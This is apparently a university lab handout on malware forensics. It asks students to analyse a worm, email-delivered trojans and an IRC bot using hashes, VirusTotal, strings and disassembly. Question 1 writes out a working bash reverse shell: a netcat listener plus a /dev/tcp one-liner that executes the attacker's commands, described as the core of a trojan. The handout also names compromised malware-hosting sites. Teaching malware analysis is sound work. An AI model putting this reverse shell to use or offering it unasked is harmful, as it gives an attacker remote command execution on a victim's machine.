
CHS2580 PRACTICAL
Week 11

Important Warning
Some of the code you use in this week’s practical will infect PC operating systems. As 
such, please be very careful with how you use this software. You have been warned!!

Handling Malware
Without exception, all malware should be handled/manipulated via the command-

line. That way, you know precisely how the malware is being manipulated.

The malware you are to use in the week 11 practicals has been zipped up into a password 
protected1 file. This is a common and sensible practice when handling and storing mal-
ware.

Questions
You may find it useful to read the following articles before answering this weeks questions:

http://www.7safe.com/assets/pdfs/Forensic_Investigator-Trojan%20Defence%20-%20A%
20Forensic%20View%20-%20Part%20I.pdf

http://www.7safe.com/assets/pdfs/Forensic_Investigator-Trojan%20Defence%20-%20A%
20Forensic%20View%20-%20Part%20II.pdf

1. This question shows you the basic principles in building your own trojan. We assume 
here that you are paired with another individual in the practical class. One of you will 
play the role of the victim (which we will assume is upon a *nix type of OS) and the 
other the role of the attacker (any OS with netcat installed is suitable for this).

• on the attacker machine, type in the following at a command line prompt:

nc -l -p 8080 -vvv

• on the victims machine, type in the following at a bash command line prompt (the 
command should all be on one line and firewalls should permit the TCP connection 
from victim to attacker on port 8080!):

exec 5<>/dev/tcp/attacker.ip.address/8080 

&& cat <&5 | while read line; do $line 2>&5 >&5; done
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1 As is common practice, the zip archive password is infected.
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The attacker machine should now be able to run arbitrary bash shell commands across  
the network! Obviously, the attackers game plan here would be to trick a user into run-
ning this exec command - ie. to install the trojan code! In order to do this, we would 
need to use a wrapping tool.

The same principles may be used by a forensic investigator to collect evidence from a 
machine across a network. This data collection process has a very small memory foot-
print (unlike other data collection strategies).

2. The following questions use the worm file:

a. What type of file is the worm file?

b. By examining the contents of the worm file, can you determine answers to the follow-
ing:

i. who is the author of this worm?

ii. what port does this worm scan and what name does it have at runtime?

iii. what OS versions is this worm attempting to exploit vulnerabilities in?

iv. whom does the worm attempt to contact?

v. what type of attacks is this worm designed to unleash?

3. The following questions use the trojan-ro directory2:

a. This trojan was originally delivered using email. By examining the “You've received 
A Hallmark E-Card!” email, can you work out which page of the iceman.ro web site 
this trojan would be downloaded from? Where did the email originate from?

b. Using the NMAP and Nessus scans, can you determine how this web site might 
have been compromised (assume here that the web server has not been patched 
since it was compromised)? Is there anything about the web site to suggest that it 
might not have been compromised?

c. Calculate the MD5 hash for the trojan’s payload and use Google to determine if 
anyone else has encountered this payload. What, if anything, did others have to 
say?

d. The payload for this trojan has already been submitted to www.virustotal.com for 
analysis. What does the Virus Total report tell you about how this trojan might oper-
ate? Can you infer what port numbers you might expect the trojan to open when it 
runs?

e. By running the strings command upon the trojan, can you find any evidence to 
support the suppositions you have made in part d?
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2 It is relatively safe to visit this web site in a browser. If you do visit the site, make sure 
that JavaScript is turned off!!
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4. The following questions use the trojan-ro directory:

a. This trojan was originally delivered using email. By examining the “Cassie Lane 
Kick-up mp3” email, can you work out which page of the 
www.parrocchiapratolaserra.it web site this trojan would be downloaded from? 
Where did the email originate from?

b. It is not safe to visit or view the site www.parrocchiapratolaserra.it in a web 
browser. By examining the web sites raw HTML (obtained using wget or curl), de-
termine why one should be cautious.

c. Using the NMAP and Nessus scans, can you determine how this web site might 
have been compromised (assume here that the web server has not been patched 
since it was compromised)?

d. Calculate the MD5 hash for the trojan’s payload and use Google to determine if 
anyone else has encountered this payload. What, if anything, did others have to 
say?

e. The payload for this trojan has already been submitted to www.virustotal.com for 
analysis. What does the Virus Total report tell you about how this trojan might oper-
ate? Can you infer what port numbers you might expect the trojan to open when it 
runs?

f. By running the strings command upon the trojan, can you find any evidence to sup-
port the suppositions you have made in part e? If you can find no evidence, state 
why this is the case (hint: look at the files type!).

5. The following questions use the malware executable. 

a. How many virus checkers currently detect this malware executable?

The remaining questions assume you have managed to successfully disassemble the 
malware executable. To do this, you will need a virtual machine3 running windows with 
the 30 day demo PE Explorer application installed. Ask how to do this within the lab 
environment:

b. Can you identify what bot software this trojan installs?

c. What IRC server and channel does this bot use for command and control?

d. Can you determine any passwords that this bot may use?

e. Can you determine what registry entries this bot probably modifies?

f. Can you find any evidence for database functionality?

g. Does the bot have any server type functionality? If so, what services might it sup-
port?

h. What attack capabilities might the bot have?
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3 Note: the virtual machine is not strictly necessary, but it is a precaution against mistakes!
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